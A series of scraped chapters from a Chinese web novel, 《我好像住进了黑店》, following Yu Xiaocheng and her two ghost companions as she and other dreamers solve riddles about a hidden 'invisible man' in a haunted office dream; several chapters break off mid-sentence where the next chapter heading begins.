还没来得及细想,便听见吴樊祐关切地问道:“学姐方才去哪了?没遇上怪事吧?” 俞小澄认真想了想,随即点头道:“我刚在开会,遇到两孩童,他们……一直跟着我……害我被赶出会议室,这算不算怪事?” 听到她这么说,一左一右飘在她身旁的招财进宝立刻瘪嘴欲哭,像是受了天大委屈,可怜的模样实在惹人怜。 招财:“姐姐是不是还在怪我?我是真的不想姐姐被欺负。” 进宝:“嘤嘤嘤,人家没有捣乱,姐姐是不是不喜欢进宝了?” 俞小澄急忙摇手,一会儿往左摸摸进宝的头,一会儿往右捏捏招财的脸,一时解释不清,显得手足无措。 郝勇东瞅瞅西看看,又使劲揉揉眼,再向吴樊祐求证后,终于确定自己没有看错,俞小澄身边真的什么都没有。 “压力太大了?怎么刚进来就疯了?” 被人这么一评论,俞小澄意识到不妥,规矩地坐端正,双手交叠放在腿上,心虚地找补:“大概……是我的幻觉……” “我就说嘛!其实我也挺紧张的,但我们要相信吴哥。”郝勇冲她做了个加油打气的动作。 吴樊祐没有接郝勇的话,而是冲着俞小澄摇了摇头,他虽然看不见俞小澄说的孩童,可他并不认同郝勇的解释。 “也许不是幻觉,而是专属于学姐的守护神呢?” 这句话瞬间点亮了俞小澄内心的小房间,那些因自卑而滋生的阴暗仿佛受到火光的烧灼。 是她的守护神吗? 她很喜欢这种说法,原来像她这样的人也是有人守护的。 俞小澄脸上微微有了笑意,看向招财进宝的眼神也再无迷茫。 在她的注视下,招财进宝开心得手舞足蹈,围着她又蹦又跳,嘴里嚷着:“我们一定是姐姐的守护神。” 不过,这属于她一人的欢乐场面别人并看不到,见她对着空气傻笑,郝勇只觉得瘆得慌。 吴樊祐倒是全然不在意,单手托着下巴,盯着俞小澄偷笑,随后又打趣道:“学姐啊,如果不出意外,你该不会打算一直等到会议结束吧?” 俞小澄没感觉有何不对,便如实地点了点头。 下一秒,吴樊祐不加掩饰地哈哈大笑起来,忍不住调侃道:“我们不是来上班的,没人会扣工资,别这么老实。” 郝勇赞同地点着头,虽然刚进入梦境时,他也被抓着干活,同样半点不敢反抗,还是路过的吴樊祐捞了他一把。 “哦……”俞小澄脸色微红,随即想到一件事,“方才我遇到张尧了,他似乎一直在工位上工作,会不会工作就是梦境的规则?” “不是。”吴樊祐言辞肯定,“他或许是想赚金币。” 俞小澄:“……” 吴樊祐稍加思索,又接着说道:“不过也指不定他听到什么风声,所以才不敢拒绝工作安排。” “怎么说?”郝勇问。 吴樊祐冲二人招招手,让二人靠近些,随即压低声音,说起方才打听到的线索。 与俞小澄不同,他和郝勇都在办公区醒来,因为没看见俞小澄,所以他遣郝勇四处寻找,自己则找了两个看上去容易开口的人打听情况。 也就是刚才离开餐厅那两个女同事。从她们口中,吴樊祐还真套出点有意思的线索。 这家公司流传着一则怪谈:据说公司里潜藏着一只披着人皮的恶灵,被称作透明人,白天混在当天加班的员工之中,一旦发现有人落单,它便会上前请求帮助。 求助的内容千奇百怪,可能是到空无一人的卫生间送纸,也可能是请它吃一顿饭…… 但不管它提出什么奇怪要求,那个落单的人都不得不应,否则会永远被困于这层楼。 郝勇抢话道:“那只要不落单不就好了?” 吴樊祐反问:“难道你上厕所也要喊个人陪吗?” 郝勇挠了挠头:“这……好像也不是不可以。” 吴樊祐故意用阴沉的嗓音说道:“那你可得当心些,别一进厕所,扭头就发现那人脸变了。” “哇”的两声尖叫,有人一屁股摔倒在地,有人搂着俞小澄的脖子不放。前者是郝勇,后者是进宝。 俞小澄被进宝吼得差点耳鸣,一边偏头躲避,一边心里犯嘀咕:你都跟鬼差不多了,怎么还会怕鬼啊…… 招财帮忙哄了好一会儿,才让进宝松了手。 郝勇揉着屁股爬起身,恨不得现在就离开这鬼地方,可他心里也清楚,不找到线索或等到时限结束,是不可能逃离梦境的。 与郝勇的诚惶诚恐不同,俞小澄更在意吴樊祐话中透露的信息。听吴樊祐这么一说,她也就理解了为何吴樊祐认为张尧听到了风声。 “或许张尧知道不能拒绝透明人的要求,但他一定不知道不能落单。”俞小澄说。 她将碰见张尧的过程简略说了一遍。如果张尧知道落单这条线索,肯定不敢跟俞小澄单独呆在茶水间。毕竟,在这诡异的梦境中,谁知见到的是不是真人呢? 俞小澄小心翼翼地询问:“我们是不是该告诉张尧?” 吴樊祐满脸不在乎地摇了摇头:“不用理他,不管是为了金币,还是避免违反规则,他大概率都会对梦境里的NPC有求必应。” 俞小澄觉得吴樊祐说得有几分道理,也不想热脸去贴冷屁股。 张尧他们既然决定单打独斗,一定有他们自己的生存法则,她实在没必要硬掺和。 一旁的郝勇大呼一口气,心有余悸地感叹道:“还好刚才我只在办公区寻找小俞,没有跑到没人的地方,否则我今晚怕是过不去了……” 吴樊祐噗嗤一声笑:“还真是,那你运气不错。我也凑巧喊了两人同行,没给透明人机会。” 俞小澄一时不知说他们什么好,可仔细一回想,好像自己也没有好到哪儿去。要不是出了会议室又遇上茶水间那几人,又先后撞上张尧和郝勇,她说不定已经被透明人锁定了。 “啊!”俞小澄忽然意识到自己似乎听到一条重要消息,“对了,今晚加班的是美术组!是不是意味着透明人藏在美术组成员里?” 郝勇拍手称赞:“可以啊,第一次入梦就能拿到重要线索。” 吴樊祐却面色凝重,一直盯着俞小澄看,看得俞小澄十分不自在。 正在她坐立不安之时,吴樊祐起身走到她面前,弯下腰,脸 7. 梦境(一) 《我好像住进了黑店》全本免费阅读 黑暗中似乎有个东西在蠕动,俞小澄的耳朵里顿时响起一首欢快喜庆的歌曲: “好运来好运来……” 与此同时,一团马赛克闪现到电梯门前,俞小澄想也没想狂按关门键。 可因为那团马赛克的妨碍,电梯门合上一半又再次开启,而那团马赛克趁机想往电梯里钻,似乎还对俞小澄说着什么,可耳朵里音乐声太吵,将它的声音彻底淹没,听不见。 也不知哪里来的勇气,俞小澄一脚向马赛克踹去,眼看着马赛克摔出电梯,她按在关门键上的手指一刻都未停。 就在电梯门关闭的一刹那,耳朵里的歌曲随之消失,取而代之是身后传来的进宝嘤嘤嘤的哭声。 俞小澄不知所以,转身看去,只见进宝蹲在角落,双手正捂着眼睛,而她身边的招财耐心地安慰着:“没事了,没事了,姐姐帮你赶走恶灵了。” “恶灵?”俞小澄不解。 招财满脸写着无语,指了指电梯门,反问:“姐姐没看见么?不是一脚被你踢出了电梯吗?” 俞小澄摇头否认:“我不知道,我只看见一团马赛克。” “什么马赛克,我只看到一团黑影……姐姐你是不是眼睛出问题了……”招财一脸怀疑。 进宝也破涕为笑:“姐姐是不是跟进宝一样吓得应激了,进宝什么都没看到。” 那是因为你捂眼啊…… 俞小澄哭笑不得,经这么一说,竟也开始怀疑自己是不是应激了,怎么想也应该没有恶灵愿意长成马赛克,那可太抽象了。 心中不免有一种猜想,为了印证这种猜想,她问招财进宝是否听清那团马赛克说了什么。 招财如实交代,说那黑影一直重复着一句话——“你知道谁是作恶者吗?” 这句奇怪的话让人摸不着头脑,却印证了俞小澄的猜想,刚才遇到的应该不是透明人,否则她应该会被要求做什么事才对。 像她这样,不止不听透明人说话,还一脚将透明人踢出门外,怕是几条命都不够用。 那么,那团马赛克有可能是一种类似防火墙的存在,为了阻止她离开这里。 如此一想倒是说得通,可眼下还有一事不明,就是那莫名在耳朵里响起的歌曲。她下意识看向招财,带着几分怀疑的神情:“不会是你故意捣乱,在我脑海里播放歌曲吧?” 招财一脸茫然:“没有啊,姐姐不是不许我附身,我哪儿敢啊?” 看招财不似说谎,俞小澄只能怀疑是自己幻听,抬手刚想掏耳朵,指尖却撞上一个硬物,将其取下一看,原来是吴樊祐给自己的那副耳机。 她当耳塞戴着睡觉,一直未摘,没想到还带进了梦境里。耳机很轻,戴上完全没有感觉,也不影响听力,所以她才一直没注意。 “所以,刚才是这耳机连上谁家蓝牙了么?” 俞小澄盯着躺在手心上的耳机,疑惑地自言自语。 带着试探的心情,再次戴上耳机,依旧没有任何响声。她一时理不清头绪,索性就这么戴着,转身按了18楼的按钮。 逃是逃不出去了,她只好重新返回18层。 出了电梯,她瞥了一眼应急通道,猜测那里面也会有马赛克防火墙,于是果断放弃了探索,回到公司前台。 前台坐着两个漂亮女生,俞小澄看着眼熟,正是餐厅遇见的那两个女同事。 她们一边拿着小镜子补妆,一边有说有笑,聊天内容无非闲话家常。 俞小澄不擅长与人打交道,一想到要向人搭话,她比考试还紧张,心里总怕对方不搭理自己,那可就尴尬了。 因此,她只是若无其事地从前台路过,心里不停说服自己:她们知道的肯定已经全告诉吴樊祐了,没有多问的必要。 相比漫无目的地找人询问,她觉得找张尧交换已知信息或许能收获更快些,毕竟一个通过三场梦境的人,怎么说也比新人菜鸟强一点。 虽然吴樊祐觉得没有理会张尧的必要,但是俞小澄心中多少有些放不下,如果因为自己故意隐瞒而害张尧陷入险境,她会内疚,也于心不忍。 于是,她打算瞒着吴樊祐,拿知道的线索与张尧做交易。 进入办公区,俞小澄一眼便看见张尧还坐在原来位置上,对着电脑屏抓耳挠腮,很是认真。反观周围其他同事,聊天的聊天,睡觉的睡觉,看上去所有的活都被张尧一人包揽了。 融不进去…… 这画面隐隐刺痛了俞小澄的心。 她做了许久心理准备,想好的开场白预演了数次,终于鼓足勇气走了过去。 原本有说有笑的几个人瞬间闭了嘴,齐齐看向俞小澄,神情异常紧张,视线略显诧异,似乎非常关心她到底要找谁。 直到俞小澄弱弱地喊了一声“张尧”,那几个人明显松了一口气,为首的中年男人露出一丝耐人寻味的笑,冲着其他人使使眼色。 在那中年男人怂恿下,有人阴阳怪气地开了口:“那个谁,你们有什么要聊去会议室,别打扰我们工作。” 另外一人立马装模作样地对中年男人说:“林主策,您来看看我这方案改得行不行。” 那姓林的组长应了声“好”,端着领导的架子踱步过去,途中还趁机敲醒睡觉的几人,意有所指地说:“策划方案下班前必须交,都别浪费时间了,想加班不成?” 张尧一脸烦躁地瞪了一眼俞小澄,坐在位子上没有动。 “我手上还有事,跟你没什么好说的。” 俞小澄面上有些难堪,余光瞥见林主策在偷笑,心道:这姓林的没安好心,明知我是美术组的人,还故意让张尧和我去会议室……又在工作上施压,令张尧当面拒绝……如果我是透明人,不管张尧怎么选,都不会有好结果…… 她本以为自己一进梦境就摊上这么个身份,属实倒霉,我没想到张尧摊上这么个作精领导,也没比自己好到哪儿去。 转念一想,她如今的身份又何尝不是天降良机呢? 俞小澄没有搭理张尧,随即转身去到林主策面前,冷着脸说,“我有个小忙,想要林主策帮忙,您可以帮帮我吗?” 只见林主策难掩惊恐之色,吞咽着口水,往后挪了一步,战战兢兢地问:“什……什么忙?” 俞小澄抬起食指,指了指会议室的方向,轻声说:“可以跟我到会议室里聊会儿天吗?” 林主策脚下一软,险些摔倒,扶着办公桌上的挡板,勉强挺直腰板,视线四下扫过。 方才还在附和的众人立刻埋头工作,就像什么都没听见,什么也没看见,自然什么也都与自己无关。 俞小澄原本只是想吓吓林主策,毕竟规则她已知晓,只要不落单,就算她是透明人也不能拿他们怎样。 谁知林主策一副欲哭无泪的表情,心不甘情不愿地回答:“好……” 这一声“好”,打了俞小澄个措手 8. 梦境(一) 《我好像住进了黑店》全本免费阅读 透明人就在我们之中, 透明人的话必须服从。 如果不想加班,切勿独自行动; 如果想要活命,谨慎选择,禁止孤勇。 命运的身份你是否全部猜中? 当时针再次走到十点, 夜晚的好戏开始上演, 请随意挑选今夜同伴: 无目者满嘴谎言, 无心者搅乱局面, 清醒者习惯背叛, 良善者带来平安, 作恶者迎接审判。 零点钟声敲响前,当心被透明人看见! 待一切归于零点,我们相约下个夜晚。 会议室里没有开灯,只有一侧的窗户洒进几缕阳光,还被百叶帘挡去大半,室内显得异常昏暗。 俞小澄挡在门前,只要她出去将门一闭,留在会议室中的林主策便要遭殃。林主策不是一个喜欢硬碰硬的人,更不会陷自己于险境,十分识相地将知道的一切都告诉了俞小澄。 关于透明人的规则就藏在那几句谜语之中,林主策只告诉她三条: 其一,透明人就藏在当晚加班的员工中; 其二,透明人的话必须服从; 其三,非加班的员工不可独自行动。 俞小澄:“所以,你才同意跟我来会议室?” 林主策:“是啊,不确定你的身份前,我哪敢说不?” 俞小澄:“那你又是如何确定我不是透明人的?” 林主策:“你连规则都不懂,怎么可能是透明人。” 俞小澄:“你从哪儿看出来我不懂了?” 林主策:“你不好好想想自己问了我啥?” “你是不是又皮痒了?”俞小澄作势要往门外走。 林主策情急之下一把拽住俞小澄胳膊,被狠狠瞪了一眼,又急忙缩回手,脸上堆着谄媚的笑,嘴里求饶道: “别,大姐,我错了!你当时问我为啥敢一个人跟你出来,说明有两点你不晓得,首先是透明人的话必须服从,其次是与透明人一起行动不算落单。” 俞小澄若有所思:“难道不是落单的人会被透明人找上吗?” 林主策噗嗤一声笑:“谁说的,你让人骗了吧!透明人随时都可能出现,所以大家今天才会害怕遇到美术组的人。我们不想落单,只是单纯不想加班罢了。这是两条互不影响的规则。” 而后再问不出更多,俞小澄让林主策把谜语全部写下来。 林主策满口答应,表示一回到工位就给俞小澄打印出来,说着就站起身往门外走。 俞小澄留了个心眼,笑着将人拦了下来,笑眯眯地将人推回椅子上坐下,说:“如果我放你回去,你翻脸不认人了怎么办?” “怎么可能,我是这种人吗?”林主策说。 俞小澄的手重重地压在他肩上,毫不犹豫地点头道:“你是!” 林主策尴尬笑了笑,眼珠一转,说:“呵呵,大姐,你看会议室里也没纸笔,我就是想写给你也是有心无力啊!” 俞小澄甜甜一笑:“哎呀,还真是呢!要不这样,我去帮你找纸笔,你在会议室里稍待片刻。放心,我手脚很快的,一出去就锁门,保证不让透明人进屋。” “别!”林主策脸都青了,敲了敲脑袋,“哎哟,你说巧不巧,我有随身带纸笔的习惯,我这就写给你!” 说话间,只见林主策从兜里掏出一叠便签纸和一支笔,埋头就将谜语写了出来。 一直作为旁观者的俞小澄本尊,此刻简直目瞪口呆。 要是换作她自己,恐怕已经上了林主策的当,等他回到办公区,铁定翻脸不认人,说不定还会嘲讽一句:“谜语我都告诉你了,你自己猪脑子记不住,能怪谁呢?” 万幸,林主策面对的是控制着俞小澄身体的招财。招财一早就知道他随身带着纸笔,才没让他奸计得逞。 谜语到手后,招财解除了附身,俞小澄便跟着林主策一同回到办公区。 林主策嘴里骂骂咧咧回到工位,将在俞小澄那里受的气全都撒在组员身上,看得俞小澄哭笑不得。 自她一进门,就有一双眼睛紧盯她不放,正是此前对她爱答不理的张尧。他似乎想问俞小澄什么,却被林主策催着做方案,无奈只得埋头苦干。 上回撞了一鼻子灰,俞小澄不想再触霉头,假装没看见,急急往休息区赶去,她得找吴樊祐和郝勇仔细研究手中谜语,或许里面藏有离开梦境的方法。 途径打印室,俞小澄停下脚步,犹豫再三还是走了进去,她将林主策写的谜语复印了三份,然后把其中一份送给了张尧。 张尧一脸震惊,俞小澄没有说话,默默将印着谜语的纸放在桌上,然后头也不回地离开了。 “姐姐干嘛要帮那个坏蛋?”招财跟在身后不解地发问。 俞小澄也不清楚,或许因为她知道被孤立的苦,所以不想活成自己厌恶的样子罢了。 见她没有说话,进宝一掌拍在招财的后脑勺,骂道:“你傻呀,姐姐看不懂谜语,当然要广撒网,多敛鱼,择优而从之。” “勒个……话好像不是这么用的……”俞小澄总觉得这话哪里不对。 招财冲她竖起拇指:“我懂,我懂,都是姐姐的策略!” 俞小澄哭笑不得…… 或许他们说的也不错,多个人,多种思路,也未可知,只是张尧未必愿意分享所得。 重新回到休息区,她没有在餐厅看见吴樊祐和郝勇的身影,不知道他们去了哪里找线索。 办公区和会议区都没见过他俩,很可能还在休息区,于是她将休息区找了一遍,最后在娱乐室发现正戴着VR眼镜打丧尸的二人。 手里拽着谜语复印纸的俞小澄无话可说,有一瞬间觉得与他们玩的或许不是一个游戏。 鏖战正酣,没人注意到屋子里多了一个人,俞小澄只是弱弱喊了两声,随即放弃,无奈地坐到一旁,静静等待游戏结束。 她看着纸上文字有些出神,心中涌起一个个谜团,为何从林主策口中得知的线索与吴樊祐打听到的线索会有出入呢? 视线落在「无目者满嘴谎言」这行字上,难道是指梦境中的NPC可能说谎吗?那又该如何判断真伪? 心中有太多疑团解释不清,她更加焦急,然而另外两人仿佛打开了休闲度假模式,浑然不觉梦境之中潜藏的危机。 招财很快发现俞小澄的焦虑,笑着窜进她的视野,贴心地建议:“叫人这种小事,姐姐交给我就行!” 俞小澄一听,瞬间觉得遇上了天使,一脸期待地点头同意,然后下一秒她就后悔了。 因为她又眼睁睁看着招财抢过身体控制权,然后大步流星走向游戏主机,一根手指戳在电源键上,紧接着便是哀嚎声与谩骂声铺天盖地。 招财做完这一系列操作,功成身退一般脱离附身,天真地眨眨眼,两手一拍,一脸得意地说了声:“搞 9. 梦境(一) 《我好像住进了黑店》全本免费阅读 俞小澄不知何时睡着了,等到醒来时,窗外天色阴沉,就像即将下雨一般。 玩游戏的两人已经安静下来,房中不见郝勇的身影,只有吴樊祐坐在俞小澄身边。 不久前玩得乐此不疲的吴樊祐,此刻坐靠在沙发上小憩,身子微微偏向俞小澄这边,耷拉着脑袋,呼吸平缓。 浓密的睫毛,高挺的鼻梁,单薄的嘴唇,单看都不算惊艳,可凑在一起却又恰到好处。纵使时过境迁,这张脸还是如初见那般,或许好看的总能受上天眷顾,连岁月都能对他心软。 俞小澄就这么安静地盯着眼前这张熟悉的脸,不知该说是嫉妒,还是怀念。 忽然,招财眨着一双小狗眼,横插到两人间,摇晃着半透明的头,努力遮挡俞小澄的视线。 见他一副顽皮的样子,俞小澄故意假装看不见,动也不动地盯着前方。她越是如此,招财越是不死心,不停冲她做鬼脸。 “你能不能别烦姐姐!”进宝揪着招财的耳朵,将他从俞小澄面前拉走。 招财一边嚷着疼,一边委屈巴巴地说:“我也是怕姐姐又看不见我们了嘛……” “还不是因为你老惹麻烦,就不会点有用的。”进宝数落道。 招财不服气:“我会的可多了,我会画符驱鬼,执剑斩魂,可以保护进宝和姐姐,不过手上没道具,巧妇难为无米之炊嘛,嘿嘿~” 进宝:“你也就会动一张嘴。” 看着打闹的二人,俞小澄莫名觉得他们感情很好。 进宝对外胆小柔弱只会嘤嘤嘤,对招财却是重拳出击毫不留情;招财恰好相反,对外嘲讽辱骂嘴下无情,对进宝却是能让则让示弱求饶。 俞小澄挺羡慕他们的友情,能在对方面前展示不一样的自己,也许两种都是真实的自己,只是有的人能看见,有的人注定看不清。 她没有这样的朋友,或者说她没有朋友,至少人生中为数不多向她释放善意的人,也总在劝她——“你应该再开朗些”、“你该学会外向点”、“你想说什么就大胆说出来”…… 于是,她在反复自省、反复自我否定中,越活越失败……脸上的笑意终化为苦涩,她咬着唇努力消化着。 就在这时,吴樊祐的睫毛随着眼睑微微颤动,小憩的人悠悠醒转,抬手揉了揉眼,恰与俞小澄四目相对。 “我睡相这么难看么?”吴樊祐说,“也不至于恶心到学姐吧。” 俞小澄着急地摇头摆手,想要解释又一时说不清楚:“不是你,招财进宝刚才,我,唉……” 吴樊祐忍俊不禁,偷笑了两声,说:“我开玩笑而已,瞧把你紧张的,学姐刚跟你那两个看不到的朋友说啥呢?” 俞小澄担心话题又绕回去,急忙转移话题:“郝勇不见了。” 吴樊祐环顾四周,的确看不见郝勇的身影,便起身带着俞小澄往外走去。 回到办公区时,已是下班时间,绝大多数的员工正往公司外走,下班打卡的声音此起彼伏。 俞小澄和吴樊祐也跟着人群往外走,路过前台时,发现郝勇正失魂落魄地站在电梯间外,被离开的人群一推,便跌坐到一旁。 俞小澄上前扶起郝勇,询问发生了何事,郝勇依然一副惊魂未定的模样,嘴里含糊不清地说着:“我不是想一个人逃跑,我只是,只是试试而已。” 吴樊祐漫不经心地走上前,问:“你想试试下班能否离开这层楼?” 郝勇羞愧难当,激动地抓着俞小澄的手,视线来回在俞小澄和吴樊祐二人脸上瞟,连声解释:“我绝不是想抛下你一人,小俞你是信我的吧?我就是害怕而已,万一我们没有找到离开的门,撞见透明人怎么办?我还不想死啊……我就想再过一晚瞧瞧……” “你是想让俞小澄先做一回扫雷的人吧?”吴樊祐脸上满是讥笑。 郝勇还想再辩解,可似乎所有的话到嘴边都变得无力,沉默代替了一切,却也回答了吴樊祐的问题。 吴樊祐一把将俞小澄拉到身后,眼中带着敌意。 郝勇没有挣扎,手一松,任由二人远离,略微惭愧地抬起头,正好对上吴樊祐鄙夷与仇视并存的眼神,瞬间刺激了他脆弱的神经。 下一刻,郝勇变得癫狂,疯了一样冲向俞小澄,被吴樊祐挡下,只能指着俞小澄声嘶力竭地厉声质问: “是你!你为什么要说谎?不是说加班的只有美术组吗?我又不是美术组的,为什么也不能离开?她在说谎,她想害死我们……” 俞小澄被吓得不轻,面对郝勇的指责她脑子里一团乱,感觉好像周围人的视线都充满恶意,顿觉呼吸困难,连周围的声音都变得模糊不清,比起解释,她更想逃离。 恍惚间,她清晰地听到招财的声音:“姐姐别怕,我在这里。” 很快,她又逃进那片与世隔绝的深海,看着招财接手了她身体的控制权。 俞小澄冷笑一声,从吴樊祐身后露出一张不屑一顾的脸,讥讽道:“害你?你可真看得起自己!害你是能爆金币,还是能离开这里?也不掂量掂量自己有没有被骗的资本,真好笑!” “没错!” 进宝在一旁附和,虽然除了俞小澄和招财,没有人能听到她的声音,但是她的附和,仿佛在助威,使得招财愈发得意忘形。 “难怪那姓陈的宁愿带三个女生都不带你,我还当是他怜香惜玉,敢情你是拖油瓶!”俞小澄骂得痛快。 郝勇本只是震惊于俞小澄的变化,如今再被当面羞辱,恼羞成怒,挣扎着想揍俞小澄一顿。 不过,他们之间还夹着个吴樊祐,他怎么也挣脱不开束缚,只能眼瞅着俞小澄躲在吴樊祐身后冲他做鬼脸,气得他捶胸顿足。 俞小澄继续火上浇油:“看见张尧了吗?他可不是美术组的,不也下班了吗?脑子是个好东西,但你显然没有。怕吃坏肚子就自己下厨,别总指望别人喂,巨婴么你?” 郝勇咬牙切齿,不仅嘴上理亏说不过俞小澄,还有吴樊祐始终护着,让他动不了手,胸中气闷。 “你瞧她这泼妇样,被我拆穿就原形毕露了,心机!吴哥,她嘴里没一句真话,你可别被骗了。”郝勇试图拉拢吴樊祐。 吴樊祐虽说对俞小澄性情突变有些云里雾里,但更看不惯郝勇的两面做派,冷脸回了句:“你先管好你自己。”随即撇下郝勇,带着俞小澄回到了办公区。 招财被进宝一掌打了出来,俞小澄又恢复沉默不语。 其实像郝勇这样的人她见多了,却始终不善应付。这世上的人,大多没法说理,他们想听的也不是解释,终究不过是发泄情绪罢了。 见她情绪低落,吴樊祐出言安慰:“再等一会儿就可以离开这里了,那种人,学姐无视就好,没必要影响心情。” “嗯。”俞小澄只小声地应了一声。 离开这里后,又能好到哪里去? 吴樊祐并不知 10. 梦境(一) 《我好像住进了黑店》全本免费阅读 梦境中的时间很长,长到俞小澄都快忘记自己是在睡觉。不知不觉过去大半天,被吴樊祐一提,她才发现自己的肚子饿得咕咕直叫。 从餐厅虚掩着的门里传来阵阵肉香,肚子里的馋虫顿时炸开锅,纷纷举牌抗议,俞小澄哪里还有心思考虑其他问题。 餐厅内,两个穿着白衣白帽的人正隔着橱窗煮着东西,一见有人进门就热情招呼:“今日晚餐供应面食,卤肉面、牛肉面、排骨面、番茄鸡蛋面任选。” 吴樊祐找了张桌子让俞小澄先坐下,又问了俞小澄的口味,这才跑到窗口点餐。 一番好意倒让俞小澄有些不自在,她恍惚间感觉回到大学时,她身边没什么朋友,经常一个人在食堂吃饭,偶尔碰到吴樊祐和同学来吃饭,他总会第一时间扔下朋友来找她。 然后,吴樊祐得了爱好扶贫的名声,她荣获装模作样的白莲花称号,以至于很长一段时间,俞小澄一见吴樊祐撒腿就跑。 以前她总不明白,为何吴樊祐老阴魂不散,他们不过在社团见过几面,她自认没得罪过这个校草学霸,可他似乎相当热衷于给她招惹麻烦。 正在她双手托腮神游时,吴樊祐端着两碗面走了回来,将牛肉那碗放到她面前,又将排骨那碗放到了她对面。 在对面一落座,吴樊祐就问她要不要尝尝排骨,见她摇头,脸上略显遗憾,说:“可是我想尝尝你碗里的牛肉。” 俞小澄一时语塞,给吴樊祐夹了两块牛肉,便看见他心满意足地吃了起来,一时不知说他什么好。 正在埋头嗦面,俞小澄突然感觉有人拍了拍自己的肩,吓得她一哆嗦,一口面差点喷了出来,一阵咳嗽后,她缓缓回过头,却见郝勇一脸殷勤的笑,瞬间整个人都自闭了。 俞小澄无意识地往边上挪了挪身子,试图与郝勇保持些距离。 她并太会应付郝勇这种人,情绪化严重,有利可图时对你亲切,一有危机立马被害妄想症发作,相处实在费神。 对面坐着的吴樊祐忙着给俞小澄递纸巾,只是抬头瞥了郝勇一眼,抢先开口道:“哟,这不是勇哥么?怎么?发完疯肚子饿了?” 面对吴樊祐的阴阳怪气,郝勇表情略显尴尬,厚着脸皮讨好道:“别、别生气,吴哥,我就是来道歉的!” 吴樊祐只是看着他冷笑,没有说话。 郝勇被他看得有些心虚,抬手就赏了自己两个耳光,一脸懊悔地说道:“刚都怪我冲动,一时没控制住情绪,冷静下来一想,我怎么能怪小俞呢?我真不是个东西,要打要骂我绝无怨言!” 他那两耳光打得挺响亮,吓得俞小澄心里咯噔一下,紧张地摆着手说:“没、没事。” 俞小澄倒没有生气,只是不擅应对,所以才干脆让招财出马,如今见对方有意示好,总觉得自己拒人于千里之外似乎不太礼貌,更怕郝勇发疯自残。 “不气就好!我就知道小俞不是那么小气的人。”郝勇瞬间笑逐颜开,自顾自地坐到了俞小澄身旁的空位上。 随即感受到对面吴樊祐炙热目光,熊熊燃烧的火焰仿佛要将郝勇烧成灰烬,郝勇识相地站起身,挪到吴樊祐身边坐下。 半空中,招财飘到郝勇面前,对着他的脸挥舞起拳头,无奈拳拳落空,愤愤不平地骂道:“脸皮真厚!” 进宝也是一脸反感的模样,嫌弃地躲到俞小澄身后,还劝俞小澄赶紧走。 俞小澄虽然很想照做,可突然移到别处似乎过于显眼了点,害怕因此雪上加霜,又引起不必要的冲突,她只好埋头吃面,假装看不见。 “呵,吴哥,我们接下来怎么办?” 很快,郝勇就表明了示弱的真正意图,一个人偷溜下班的路已经堵死了,他知道不能再得罪盟友,毕竟抱大腿苟活才是他一直以来的生存之道。 吴樊祐一副生死看淡的从容模样,惬意地吃着面,轻描淡写地回答:“分头找门呗。” “啊?”郝勇面色凝重,心里有些担忧,“分开多危险啊……” 吴樊祐擦了擦嘴,严肃地反问:“你说,是我们三个一起行动目标明显,还是分开行动目标明显?” “那自然是分开好些,可是……”郝勇接话。 吴樊祐打断:“别可是了,我们三个一起行动,透明人一来,我们不就全军覆没了吗?” 郝勇被他唬得连连点头。 吴樊祐拍拍他的肩:“你呢,就找个地方躲起来,等我们找到门再叫你。” 这安排显然对郝勇来说正合意,顿时心情大好,左一句“吴哥”喊得亲密,右一句“武威”夸得谄媚。 只是不知为何,俞小澄感觉吴樊祐脸上的笑莫名怪异,好似一阵阴森的风直往衣服里灌,令人背脊发凉,寒颤不止。 吴樊祐对郝勇的态度,说不上好也说不上坏,或者说,不止郝勇,对穷途旅店中的所有住客都是如此。 也许在陌生的地方遇上陌生的人,他天生就有所戒备。俞小澄不认为这是坏事,他一向比自己更懂与人相处。 心情放松后,便感觉肚子饿了起来,郝勇也去窗口点了一碗面。 端着面坐回吴樊祐身边,郝勇乐呵呵地打开了话匣子:“刚才还好我跑得快,不然这会儿被营销部长抓去干活了。这些NPC真会找事,下班了都不消停。” “营销部长也在?”俞小澄不由得好奇。 见有人搭话,郝勇更来劲了。 “对啊,咋有那么多别的部门加班呢?是不是我们知道的规则不太准啊?” 吴樊祐说:“也许所有管理层都得留下加班呗,我那程序组的老大不也在嘛。” 俞小澄总觉得哪里不对劲,可又说不上来,骤然回想起坐电梯下楼时发生的事,她从兜里再次拿出便签纸仔细看了又看,终于看出二者相关联的地方。 招财曾说,电梯外那坨马赛克的嘴里念叨着“你知道谁是作恶者吗?”这句话,而谜语中同样存在“作恶者迎接审判”这样的句子。 俞小澄将下午的经历避繁就简说了一遍,又将谜语中的句子指给二人看。 “这所谓的作恶者会不会是同一个?也许就是公司里的某人?”她大胆推测。 郝勇惊呼道:“这就是你说遇到透明人那件事?天啦,太吓人了,还好没找上我……那透明人长得可怕吗?” “呃……”俞小澄被问得一愣,险些都忘了因为招财的骚操作自己撒了一个谎,这会儿也不好否认,只能顺势点点头,“长得……像一团马赛克?” 吴樊祐咯咯笑出鹅叫,郝勇则是满脸怀疑:“你到底看 11. 梦境(一) 《我好像住进了黑店》全本免费阅读 离开餐厅后,俞小澄绕路去了茶水间。 她本打算先去找林主策打探消息,可要返回办公区,势必又要面对梦境给她安排的领导,一想到那张叽叽喳喳个没完的嘴,她就觉得头疼,于是决定先绕到茶水间,给领导准备咖啡。 自从下班后,休息区和会议区都没有人活动,空无一人的走廊里,只能听见自己的脚步声,令人毛骨悚然的安静。 为了以防万一,俞小澄让招财进宝在茶水间外给自己把风,她可不希望有什么东西突然出现给自己一个“惊喜”。 在茶水间里泡了十二杯咖啡,用托盘端着回到办公区,送到领导面前。 按照领导的要求,美术组除了俞小澄一共十二人,每人一杯咖啡,一杯不多一杯不少,她还贴心地拿来一盒方糖,让大家按需添加。 这种打杂的事,她过去打工时也没少干,算得上轻车熟路。 美术组领导就是想挑刺,暂时也很难找到纰漏,不情不愿地唠叨道:“啧,下次干活麻利点,弄杯咖啡弄这么久。” 俞小澄刚想走,又被他叫住,一转头,只见他递来一枚金币。 “嗯?”俞小澄一时没有反应过来,顺手接过金币道了声谢,转身离开时才意识到,这不就是兑换盲盒用的金币么? 实属意外惊喜,没承想稀里糊涂地爆了金币,俞小澄恍恍惚惚将金币收入囊中,趁着领导没再刁难,赶紧去找林主策。 林主策坐在工位上心不在焉,目光在办公区内来回扫视,似乎比起手头工作,办公室里留下的人更让他在意。 看着俞小澄步步靠近,林主策立刻拿起一本书,直立着举到面前,挡住自己的脸,假装正在看书。对于俞小澄先前威胁一事,他还耿耿于怀,一见她就头疼。 “林主策,可以问个问题吗?”俞小澄靠近,声如蚊蚋。 